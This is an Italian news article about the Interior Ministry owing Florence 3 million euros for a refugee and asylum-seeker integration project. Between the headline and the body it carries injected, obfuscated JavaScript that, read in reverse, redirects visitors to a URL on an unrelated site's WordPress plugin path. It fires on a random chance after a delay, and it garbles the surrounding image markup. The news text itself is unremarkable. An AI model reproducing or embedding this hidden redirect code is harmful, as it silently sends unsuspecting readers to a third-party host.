3 milioni per i richiedenti asilo. Li deve il Governo al Comune di Firenze

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2011/08/somali.png”>Il ministero degli Interni deve tre milioni di euro al Comune di Firenze per la presa in carico e l’inserimento sociale dei rifugiati e dei richiedenti asilo. Si tratta del progetto “Paci”, rivolto a 130 rifugiati e richiedenti asilo, in maggioranza somali, che prevede accoglienza nell’albergo Real di viale Gori, percorsi di formazione, borse lavoro e graduale inserimento in una vita autonoma.

Lo ha detto oggi l’assessore comunale alle politiche sociali Stefania Saccardi facendo riferimento ad un accordo firmato in prefettura lo scorso anno. Nell’aprile 2010 il Comune ha avviato il progetto affidandone la gestione alla cooperativa Co&so. Come da accordi, il progetto sarebbe stato a totale carico del ministero. In realtà, ha sottolineato l’assessore – il Viminale non è mai stato regolare nei pagamenti e adesso siamo arrivati quasi al collasso: la cooperativa è sotto di 3 milioni e rischia di dover chiudere almeno alcune attività di integrazione, se non tutte”.

”Il Comune – ha concluso – ha dovuto ricorrere a risorse proprie, pari a 200 mila euro, ma non sappiamo fino a quando: a quanto ci risulta, il ministero non ha previsto i fondi per il progetto ‘Paci’ nel suo bilancio”

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